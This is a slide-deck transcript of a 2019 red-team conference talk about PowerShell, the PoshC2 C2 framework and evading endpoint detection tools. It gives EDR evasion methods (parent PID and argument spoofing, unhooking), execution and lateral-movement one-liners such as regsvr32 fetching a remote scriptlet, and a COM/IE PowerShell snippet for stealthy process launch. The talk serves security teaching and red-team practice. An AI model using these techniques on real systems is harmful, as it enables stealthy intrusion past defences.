SlideShare ist ein Scribd-Unternehmen logo
1 von 82
Downloaden Sie, um offline zu lesen
PowerShell is DEAD
Epic Learnings
June 2019
Contents
Introductions
+ Whoami / Whoarewe
What is PowerShell
+ Understand what PowerShell is / key components
+ Is it DEAD?
Evolution of PoshC2
+ Release timeline & changes
EDR
+ History & challenges (offensive)
+ Future predictions
June 2019
@benpturner
+ Managing Principal Security Consultant @ Nettitude
+ Lead the Global Red Team Operation @ Nettitude
+ 8 years as a Crest Team Leader (CHECK Team Leader - Infrastructure)
+ 4 years as a Crest Simulated Attack Specialist (CCSAS - STAR/CBEST)
Training / Talks
+ Advanced Threat Actor Simulation - Red Team Training Course (Steelcon 2017/2018)
+ Workshops - Red Teaming with PoshC2 (BSides London/Manchester 2017)
+ Trusted Third Parties are NOT Trust Worthy (GiSEC Dubai 2019) - https://bit.ly/2I9ehIg
+ 21st Century War Stories (Steelcon/BSides 2016) - https://www.youtube.com/watch?v=O8Ul6QSPuo4
+ PowerShell Fu with Metasploit (Steelcon/BSides 2015) - https://www.youtube.com/watch?v=ottfZFRSsj4
Development Projects
+ Lead developer of PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework
+ General day to day PowerShell / C# projects & security research
@b4ggio_su
+ Principal Security Consultant @ Nettitude
+ A Red Team Lead in the Global Red Team Operation @ Nettitude
+ 16 years in IT:
• 4 years as a sysadmin
• 4 years in a defensive role
• 8 years in an offensive role
Training / Talks
+ Advanced Threat Actor Simulation - Red Team Training Course
+ Red Team & Stuff (Bsides Mcr 2018 / OWASP Warwick 2019)
@rbmaslen
+ Principal Security Consultant @ Nettitude
+ Red Teamer/Tools developer
+ 20 years in IT:
• 14 years as a developer (mainly C++, C#, HTML/JS)
• 6 years in an offensive role
+ CCT / CCSAM / OSCP / OSCE
Training / Talks
+ Thick Client Destruction (Steelcon 2017)
+ COM and the PowerThIEf (Steelcon 2018)
Development Projects
+ Contributor to PoshC2 - Nettitude’s Open Source Command & Control (C2) Framework
+ PowerThIEf, SharpSocks, C# portscanner & ArpScan
Team Spicy Weasel
1st Place - 2018
+ labs.nettitude.com/blog/derbycon-2018-ctf-write-up
1st Place - 2017
+ labs.nettitude.com/blog/derbycon-2017-ctf-write-up
3rd Place - 2016
+ labs.nettitude.com/blog/derbycon-2016-ctf-write-up
What is PowerShell & is it DEAD?
1. The Microsoft binary - ”PowerShell.exe”
2. The DLL behind the binary
”System.Management.Automation.Dll”
3. The folder -
C:WindowsSystem32WindowsPowerShellv1
.0
4. The version? Is PSv2 dead or only versions
after 4 because of Transcript Logging,
ScriptBlock Logging, Module Logging & AMSI
Integration
https://www.youtube.com/watch?v=IYD_aiQtVaE
Is PowerShell
DEAD?
Evolution of PoshC2
Evolution of PoshC2 2016 -> 2019
 2016
 June - v1.0 First Release of PoshC2 (Server/Implant in PowerShell)
 Dec - v2.0 Released - C# GUI, Daisy Chaining & Portability
 2017
 Mar - v2.1 Removed C# GUI
 May - PoshC2 Slack channel announced
 July - PoshC2_Python Release
 Oct – Reflective DLL / Shellcode Released
 Nov - v3.0 Released with SharpSocks
 2018
 Feb - Readthedocs Documentation Released
 July - v4.0 Released with Python Implant
 2019
 Jan - v4.8 Sharp Implant
 Feb - Support for 2003/XP
 June - SharpSocks Integration
PoshC2 – PowerShell Server
Process Listing – Initial Execution
Generic PowerShell Implant
Carbon Black / Tanium / EDR
1. This is probably the best query in carbon black to detect malicious
activity:
“process_name:powershell.exe”
2. Do a search across your estate and see how much this
shows up…….
Carbon Black / Tanium / EDR
1. This is probably the best query in carbon black to detect malicious
activity:
“modload:system.management.automation.dll”
“modload:system.management.automation.ni.dll”
2. Filter out “powershell.exe”, and others……
3. Do a search across your estate and see how much this shows
up…….
Defensive / Legacy Approach
(Reactive)
 Block powershell.exe on all endpoints
 Only allow signed powershell scripts to be executed
 Upgrade “powershell.exe” to v5.0 for greater visibility
 Enable constrained mode to restrict language elements
 Monitor for “System.Management.Automation.Dll” in processes
 Integrate AMSI with AV vendor for early signature detection
 Enable & Monitor ScriptBlock Logging for suspicious cmdlets
 Enable & Monitor Transcript Logging for suspicious signatures
 Enable & Monitor Module Logging for signatured modules
Modern Approach
(Proactive)
“
”
Is
PowerShell
DEAD
“
”
NO ITS
NOT
“
”
APT33 according
to FireEye
Supposedly Used by APT 33
 Suspected attribution: Iran
 Target sectors: Aerospace, energy
 Overview: APT33 has targeted organizations, spanning
multiple industries, headquartered in the U.S., Saudi
Arabia and South Korea. APT33 has shown particular
interest in organizations in the aviation sector involved in
both military and commercial capacities, as well as
organizations in the energy sector with ties to
petrochemical production
• https://www.fireeye.com/blog/threat-
research/2018/12/overruled-containing-a-potentially-
destructive-adversary.html
• https://www.fireeye.com/blog/threat-
research/2017/09/apt33-insights-into-iranian-cyber-
espionage.html
• https://www.fireeye.com/current-threats/apt-
groups.html#apt33
Introducing C#
Implant
PoshC2_Python
PoshC2_Python
C# Implant
C# Implant / Reflection
C# Implant / Reflection
 loadmodule Seatbelt.exe
 run-exe Seatbelt.Program Seatbelt all
 run-exe Seatbelt.Program Seatbelt PowerShellSettings
 run-dll Seatbelt.Program Seatbelt UserChecks
C# Reflection
 foreach (var Ass in AppDomain.CurrentDomain.GetAssemblies())
 run-exe
loadedType.Assembly.EntryPoint.Invoke(null, new object[] {
splitnewargs }).ToString();
 run-dll
loadedType.Assembly.GetType(qualifiedname).InvokeMember(s
Method, BindingFlags.Public | BindingFlags.InvokeMethod |
BindingFlags.Static, null, null, new object[] { splitnewargs
}).ToString();
C# Reflection / OpSec Considerations
EDR /
Next Gen AV
Example Vendors
Endpoint Detection and Response
Attacker Thoughts
 Avoidance
 Trickery
 Partying with EDR
Avoidance
Avoidance - Carbon Black
Detected – But why:
RTFM!
Avoidance – Tanium Signal Definition
image.path contains ‘system.management.automation’
AND process.path contains NOT ‘mscorsvw.exe’
AND process.path contains NOT ‘monitoringhost.exe’
AND process.path contains NOT ‘powershell.exe’
AND process.path contains NOT ‘powershell_ise.exe’
AND process.path contains NOT ‘sdiagnhost.exe’
AND process.path contains NOT ‘servermanager.exe’
AND process.path contains NOT ‘sqlps.exe’
AND process.path contains NOT ‘wsmprovhost.exe’
AND process.path contains NOT ‘Microsoft Azure AD
SyncBinmiiserver.exe’
(Does require process tracing to be enabled in Tanium - quite
heavy)
Warning - Not doing a hash
checksum on the processes
or their location
Trickery
Parent PID Spoofing
https://stackoverflow.com/questions/10554913/how-to-call-createprocess-with-
startupinfoex-from-c-sharp-and-re-parent-the-ch
Parent PID Spoofing / Carbon Black
Detecting Parent Spoofing
https://www.countercept.com/blog/detecting-parent-pid-
spoofing/
Process Argument Spoofing
Process Argument Spoofing
1. Create a process suspended – Fake Arguments
2. Identify the PEB using NTQueryProcessInformation
3. Parse PEB and Commandline structure
4. Overwrite the Commandline arguments using
WriteProcessMemory – Real Arguments
5. Resume the process
Process Argument Spoofing
 https://github.com/FuzzySecurity/Sharp-Suite/tree/master/SwampThing
 https://blog.xpnsec.com/how-to-argue-like-cobalt-strike/
 https://blog.cobaltstrike.com/2019/01/02/cobalt-strike-3-13-why-do-we-argue/
Process Argument Spoofing – WHY?
Execution
 Powershell One Liner
 regsvr32.exe /s /i:http://URL/file.sct scrobj.dll
 wmic os get /FORMAT:”evil.xsl”
Lateral Movement
 SC COMPUTERNAME stop "SERVICENAME“
 wmic.exe /node:<target> /user:<user>
/password:"<password>" process call create
"%Systemroot%Tempbatchfile.bat“
Partying with EDR
Partying With EDR
Migration Basics - Win API Calls:
 VirtualAllocEX
 WriteProcessMemory
 CreateRemoteThread
http://deniable.org/misc/inject-all-the-things
However there are many ways to do the same thing, quick
examples:
RtlCreateUserThread SetWindowsHookEx
NtCreateThreadEx QueueUserAPC
powershell-is-dead-epic-learnings-london
“In computer programming, the term hooking covers a range of techniques used to alter or
augment the behaviour of an operating system, of applications, or of other software components
by intercepting function calls or messages or events passed between software components. Code
that handles such intercepted function calls, events or messages is called a hook.” - Wikipedia
What is Hooking?
EDR Hooking
Before EDR
After EDR
After EDR
Other EDR’s
Other EDR’s
 Re-Patch Memory to remove JMP to original code
 Update the IAT table to point to the correct function
 Create a stub – to carry out the same system calls
 Free a number of API calls and use FreeLibrary to remove
interfering DLL’s
https://medium.com/@fsx30/bypass-edrs-memory-protection-
introduction-to-hooking-2efb21acffd6
Bringing Back The Good Times
Demo
Demo
“
”
Becoming
best mates
with COM
COM Intro – just watch this
https://vimeo.com/214856542
 Spoke about this at Steelcon last year, has proved really
handy
 Has been used to get past some EDRs
 Breaks the attribution between process
Migrating with COM into IE
The key to this? Junction folders
 Junction folders, a technique leaked in the Vault 7 dumps
 Forms the basis of Sandbox escapers recent IE 11 sandbox
escape
 After adding some registry keys allows code to be executed
when you navigate to a folder
Junction folders
Loading the DLL in IE – first setup the registry
 If we can get a reference to an IE Windows we can call
 URL needs to be in the format shell:::{<GUID>}
 https://docs.microsoft.com/en-us/previous-
versions/windows/internet-explorer/ie-developer/platform-
apis/aa752094(v%3Dvs.85)
How can we use that
 Great COM class allows you to enumerate all the current open IE &
Explorer windows and automate them
 Guess what you can then get them to navigate to a new location
 https://msdn.microsoft.com/en-
us/library/windows/desktop/bb773974(v=vs.85).aspx
ShellWindows
Loading the DLL in IE, PowerShell
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-
00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin)
$shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}",
2048)
/*CLSID must be in the format "shell:::{CLSID}"
Second param 2048 is BrowserNavConstants value for navOpenInNewTab
https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx
Further ideas on what payloads you may be able to use
*/
Weaponisable? Yes in VBA
Can you do this in VBA, yes of course
Can you do this in VBA, yes of course
 Only use Native DLL’s? thankfully not
 Using CCW’s Com Callable Wrappers we can write a .net dll
and configure the registry keys so that when navigated to
we can launch a .net dll. Use this as a COM Hijack if you
want.
 No time to go into CCW in depth but have a read of
https://docs.microsoft.com/en-
us/dotnet/framework/interop/com-callable-wrapper
 .Net is started in IE and loads the dll
 We need a .net assembly with class that implements an
interface and some registry keys
COM Callable Wrapper
COM Callable Wrapper – Class
Interface
Native dll’s only?
Getting the reg keys
Setting up the .net registry keys
Setting up the .net registry keys
 Just make sure that you create or import the keys from a
x64 application or use the explicit 64 bit key from the link
below
 https://docs.microsoft.com/en-
us/windows/desktop/sysinfo/32-bit-and-64-bit-application-
data-in-the-registry
Also guess what the IE shortcut now does?
One last thing – remember this script
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-
00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin)
$shWin[0].Navigate2("shell:::{56B6E39E-AB81-4E34-BC8B-99D1D28FB7E4}",
2048)
/*CLSID must be in the format "shell:::{CLSID}"
Second param 2048 is BrowserNavConstants value for navOpenInNewTab
https://msdn.microsoft.com/en-us/library/dd565688(v=vs.85).aspx
Further ideas on what payloads you may be able to use
*/
Lets tweak it
$shellWinGuid = [System.Guid]::Parse("{9BA05972-F6A8-11CF-A442-
00A0C90A8F39}")
$typeShwin = [System.Type]::GetTypeFromCLSID($shellWinGuid)
$shwin = [System.Activator]::CreateInstance($typeShwin)
$shWin[0].Navigate("c:windowssystem32WindowsPowerShellv1.0powers
hell.exe")
Running it (must have at least 1 explorer window open)
Look who the parent is?
EDR Summary
 EDR is not a silver bullet
 Does give incredible visibility to the Blue Team
 Highly recommended as a complimentary piece to the
defensive strategy but should not be solely relied on
 Does not replace good people with experience
 Constant Cat and Mouse game
Future Predictions
1. Over reliance on EDR, especially on user endpoints and not
server land or non Windows Systems
2. Customers focussing all attention on tertiary endpoints and not on
critical functions or sensitive customer data
3. Move to Zerotrust networks and MFA everywhere
4. Machine Learning – Investment into Process & Procedures
5. C2 frameworks moving to C++ base code – Could see MSF be
revived for red teaming
6. All standard AV/EDR vendors adopting in memory scanning / AMSI
7. Windows 7 is EOL January 2020 – not a prediction but a reality
8. Windows 10 removal of .NET v2 – not a prediction but a reality
9. People going back to single executables running either C++ or C#
code to evade LOLBAS signatures (LOLBAS vs arbitrary exe)
Future Predictions
1. Over reliance on EDR, especially on endpoints and not
server land (or unix really)
2. C2 frameworks moving to C++ base code – Could see MSF
be revived for RT
3. We already have this level of capability and its interesting
what gets detected and what does not
4. All standard AV/EDR vendors adopting in memory scanning
5. Windows 7 is EOL January 2020 – not a prediction but a
massive jump
6. Windows 10 removal of .NET v2
7. People going back to single executables running either c++
or c# code to evade lolbins signatures and
THANK YOU
Ben Turner @benpturner
Doug McLeod @b4ggio_su
Rob Maslen @rbmaslen
https://www.steelcon.info/training/
https://www.slideshare.net/nettitude_labs/powershell-is-dead-epic-learning

Weitere ähnliche Inhalte

Was ist angesagt?

Threat Hunting - Moving from the ad hoc to the formal
Threat Hunting - Moving from the ad hoc to the formalThreat Hunting - Moving from the ad hoc to the formal
Threat Hunting - Moving from the ad hoc to the formalPriyanka Aash
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabTeymur Kheirkhabarov
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureSergey Soldatov
 
Threat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonThreat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonBen Boyd
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundDirkjanMollema
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itBenjamin Delpy
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMMikhail Egorov
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitPaula Januszkiewicz
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Codemotion
 
Security Operations, MITRE ATT&CK, SOC Roles / Competencies
Security Operations, MITRE ATT&CK, SOC Roles / Competencies Security Operations, MITRE ATT&CK, SOC Roles / Competencies
Security Operations, MITRE ATT&CK, SOC Roles / Competencies Harry McLaren
 
The Indicators of Compromise
The Indicators of CompromiseThe Indicators of Compromise
The Indicators of CompromiseTomasz Jakubowski
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat HuntingGIBIN JOHN
 
When Insiders ATT&CK!
When Insiders ATT&CK!When Insiders ATT&CK!
When Insiders ATT&CK!MITRE ATT&CK
 
Attacker's Perspective of Active Directory
Attacker's Perspective of Active DirectoryAttacker's Perspective of Active Directory
Attacker's Perspective of Active DirectorySunny Neo
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...DirkjanMollema
 
Threat Hunting
Threat HuntingThreat Hunting
Threat HuntingSplunk
 
Threat hunting on the wire
Threat hunting on the wireThreat hunting on the wire
Threat hunting on the wireInfoSec Addicts
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentTeymur Kheirkhabarov
 

Was ist angesagt? (20)

Threat Hunting - Moving from the ad hoc to the formal
Threat Hunting - Moving from the ad hoc to the formalThreat Hunting - Moving from the ad hoc to the formal
Threat Hunting - Moving from the ad hoc to the formal
 
PHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On LabPHDays 2018 Threat Hunting Hands-On Lab
PHDays 2018 Threat Hunting Hands-On Lab
 
Hunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows InfrastructureHunting Lateral Movement in Windows Infrastructure
Hunting Lateral Movement in Windows Infrastructure
 
I hunt sys admins 2.0
I hunt sys admins 2.0I hunt sys admins 2.0
I hunt sys admins 2.0
 
Threat hunting - Every day is hunting season
Threat hunting - Every day is hunting seasonThreat hunting - Every day is hunting season
Threat hunting - Every day is hunting season
 
aclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHoundaclpwn - Active Directory ACL exploitation with BloodHound
aclpwn - Active Directory ACL exploitation with BloodHound
 
Abusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get itAbusing Microsoft Kerberos - Sorry you guys don't get it
Abusing Microsoft Kerberos - Sorry you guys don't get it
 
ORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORMORM2Pwn: Exploiting injections in Hibernate ORM
ORM2Pwn: Exploiting injections in Hibernate ORM
 
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption ToolkitBlack Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
Black Hat Europe 2017. DPAPI and DPAPI-NG: Decryption Toolkit
 
Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...Secure Coding principles by example: Build Security In from the start - Carlo...
Secure Coding principles by example: Build Security In from the start - Carlo...
 
Security Operations, MITRE ATT&CK, SOC Roles / Competencies
Security Operations, MITRE ATT&CK, SOC Roles / Competencies Security Operations, MITRE ATT&CK, SOC Roles / Competencies
Security Operations, MITRE ATT&CK, SOC Roles / Competencies
 
The Indicators of Compromise
The Indicators of CompromiseThe Indicators of Compromise
The Indicators of Compromise
 
Windows Threat Hunting
Windows Threat HuntingWindows Threat Hunting
Windows Threat Hunting
 
When Insiders ATT&CK!
When Insiders ATT&CK!When Insiders ATT&CK!
When Insiders ATT&CK!
 
Attacker's Perspective of Active Directory
Attacker's Perspective of Active DirectoryAttacker's Perspective of Active Directory
Attacker's Perspective of Active Directory
 
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
I'm in your cloud... reading everyone's email. Hacking Azure AD via Active Di...
 
Threat Hunting
Threat HuntingThreat Hunting
Threat Hunting
 
A Threat Hunter Himself
A Threat Hunter HimselfA Threat Hunter Himself
A Threat Hunter Himself
 
Threat hunting on the wire
Threat hunting on the wireThreat hunting on the wire
Threat hunting on the wire
 
Hunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows EnvironmentHunting for Credentials Dumping in Windows Environment
Hunting for Credentials Dumping in Windows Environment
 

Ähnlich wie powershell-is-dead-epic-learnings-london

DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet IntroductionWei Sun
 
Runtime Environment Of .Net Divya Rathore
Runtime Environment Of .Net Divya RathoreRuntime Environment Of .Net Divya Rathore
Runtime Environment Of .Net Divya RathoreEsha Yadav
 
Production Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyProduction Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyBrian Lyttle
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCanSecWest
 
Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Wei Sun
 
Planning For An Effective Storage Solution
Planning For An Effective Storage SolutionPlanning For An Effective Storage Solution
Planning For An Effective Storage SolutionTiffany Rose
 
Operator SDK for K8s using Go
Operator SDK for K8s using GoOperator SDK for K8s using Go
Operator SDK for K8s using GoCloudOps2005
 
Overview Of Parallel Development - Ericnel
Overview Of Parallel Development -  EricnelOverview Of Parallel Development -  Ericnel
Overview Of Parallel Development - Ericnelukdpe
 
Beyond Breakpoints: A Tour of Dynamic Analysis
Beyond Breakpoints: A Tour of Dynamic AnalysisBeyond Breakpoints: A Tour of Dynamic Analysis
Beyond Breakpoints: A Tour of Dynamic AnalysisC4Media
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindAndreas Czakaj
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 Amanda Rousseau
 
Development Of A Simulation Management System
Development Of A Simulation Management SystemDevelopment Of A Simulation Management System
Development Of A Simulation Management SystemHeather Vargas
 
LogChaos: Challenges and Opportunities of Security Log Standardization
LogChaos: Challenges and Opportunities of Security Log StandardizationLogChaos: Challenges and Opportunities of Security Log Standardization
LogChaos: Challenges and Opportunities of Security Log StandardizationAnton Chuvakin
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and TechniquesBala Subra
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging TechniquesBala Subra
 
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0Thomas Conté
 
Visual Studio .NET2010
Visual Studio .NET2010Visual Studio .NET2010
Visual Studio .NET2010Satish Verma
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022lior mazor
 

Ähnlich wie powershell-is-dead-epic-learnings-london (20)

DotNet Introduction
DotNet IntroductionDotNet Introduction
DotNet Introduction
 
Runtime Environment Of .Net Divya Rathore
Runtime Environment Of .Net Divya RathoreRuntime Environment Of .Net Divya Rathore
Runtime Environment Of .Net Divya Rathore
 
Production Debugging at Code Camp Philly
Production Debugging at Code Camp PhillyProduction Debugging at Code Camp Philly
Production Debugging at Code Camp Philly
 
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershellCSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
CSW2017 Amanda rousseau cansecwest2017_net_hijacking_powershell
 
Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02Dotnetintroduce 100324201546-phpapp02
Dotnetintroduce 100324201546-phpapp02
 
Planning For An Effective Storage Solution
Planning For An Effective Storage SolutionPlanning For An Effective Storage Solution
Planning For An Effective Storage Solution
 
Codeigniter
CodeigniterCodeigniter
Codeigniter
 
Operator SDK for K8s using Go
Operator SDK for K8s using GoOperator SDK for K8s using Go
Operator SDK for K8s using Go
 
Overview Of Parallel Development - Ericnel
Overview Of Parallel Development -  EricnelOverview Of Parallel Development -  Ericnel
Overview Of Parallel Development - Ericnel
 
Beyond Breakpoints: A Tour of Dynamic Analysis
Beyond Breakpoints: A Tour of Dynamic AnalysisBeyond Breakpoints: A Tour of Dynamic Analysis
Beyond Breakpoints: A Tour of Dynamic Analysis
 
How to write clean & testable code without losing your mind
How to write clean & testable code without losing your mindHow to write clean & testable code without losing your mind
How to write clean & testable code without losing your mind
 
Activity 5
Activity 5Activity 5
Activity 5
 
.Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017 .Net Hijacking to Defend PowerShell BSidesSF2017
.Net Hijacking to Defend PowerShell BSidesSF2017
 
Development Of A Simulation Management System
Development Of A Simulation Management SystemDevelopment Of A Simulation Management System
Development Of A Simulation Management System
 
LogChaos: Challenges and Opportunities of Security Log Standardization
LogChaos: Challenges and Opportunities of Security Log StandardizationLogChaos: Challenges and Opportunities of Security Log Standardization
LogChaos: Challenges and Opportunities of Security Log Standardization
 
.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques.NET Debugging Tips and Techniques
.NET Debugging Tips and Techniques
 
.Net Debugging Techniques
.Net Debugging Techniques.Net Debugging Techniques
.Net Debugging Techniques
 
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0
MS Day EPITA 2010: Visual Studio 2010 et Framework .NET 4.0
 
Visual Studio .NET2010
Visual Studio .NET2010Visual Studio .NET2010
Visual Studio .NET2010
 
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022The Hacking Games - Operation System Vulnerabilities Meetup 29112022
The Hacking Games - Operation System Vulnerabilities Meetup 29112022
 

Kürzlich hochgeladen

Bio Medical Waste Management Guideliness 2023 ppt.pptx
Bio Medical Waste Management Guideliness 2023 ppt.pptxBio Medical Waste Management Guideliness 2023 ppt.pptx
Bio Medical Waste Management Guideliness 2023 ppt.pptxnaveenithkrishnan
 
Check out the Free Landing Page Hosting in 2024
Check out the Free Landing Page Hosting in 2024Check out the Free Landing Page Hosting in 2024
Check out the Free Landing Page Hosting in 2024Shubham Pant
 
Computer 10 Lesson 8: Building a Website
Computer 10 Lesson 8: Building a WebsiteComputer 10 Lesson 8: Building a Website
Computer 10 Lesson 8: Building a WebsiteMavein
 
Introduction to ICANN and Fellowship program by Shreedeep Rayamajhi.pdf
Introduction to ICANN and Fellowship program  by Shreedeep Rayamajhi.pdfIntroduction to ICANN and Fellowship program  by Shreedeep Rayamajhi.pdf
Introduction to ICANN and Fellowship program by Shreedeep Rayamajhi.pdfShreedeep Rayamajhi
 
Presentation2.pptx - JoyPress Wordpress
Presentation2.pptx -  JoyPress WordpressPresentation2.pptx -  JoyPress Wordpress
Presentation2.pptx - JoyPress Wordpressssuser166378
 
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDS
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDSTYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDS
TYPES AND DEFINITION OF ONLINE CRIMES AND HAZARDSedrianrheine
 
Zero-day Vulnerabilities
Zero-day VulnerabilitiesZero-day Vulnerabilities
Zero-day Vulnerabilitiesalihassaah1994
 
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024
WordPress by the numbers - Jan Loeffler, CTO WebPros, CloudFest 2024Jan Löffler
 
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdf
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdfLESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdf
LESSON 5 GROUP 10 ST. THOMAS AQUINAS.pdfmchristianalwyn
 
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...Benefits of doing Internet peering and running an Internet Exchange (IX) pres...
Benefits of doing Internet peering and running an Internet Exchange (IX) pres...APNIC
 
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced Horizons
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced HorizonsVision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced Horizons
Vision Forward: Tracing Image Search SEO From Its Roots To AI-Enhanced HorizonsRoxana Stingu
 
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASS
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASSLESSON 10/ GROUP 10/ ST. THOMAS AQUINASS
LESSON 10/ GROUP 10/ ST. THOMAS AQUINASSlesteraporado16
 

Kürzlich hochgeladen (12)

Bio Medical Waste Management Guideliness 2023 ppt.pptx
Bio Medical Waste Management Guideliness 2023 ppt.pptxBio Medical Waste Management Guideliness 2023 ppt.pptx
Bio Medical Waste Management Guideliness 2023 ppt.pptx
 
Check out the Free Landing Page Hosting in 2024
Check out the Free Landing Page Hosting in 2024Check out the Free Landing Page Hosting in 2024
Check out the Free Landing Page Hosting in 2024
 
Computer 10 Lesson 8: Building a Website
Computer 10 Lesson 8: Building a WebsiteComputer 10 Lesson 8: Building a Website
Computer 10 Lesson 8: Building a Website
 
Introduction to ICANN and Fellowship program by Shreedeep Rayamajhi.pdf
Introduction to ICANN and Fellowship program  by Shreedeep Rayamajhi.pdfIntroduction to ICANN and Fellowship program  by Shreedeep Rayamajhi.pdf
Introduction to ICANN and Fellowship program by Shreedeep Rayamajhi.pdf
 
Presentation2.pptx - JoyPress Wordpress
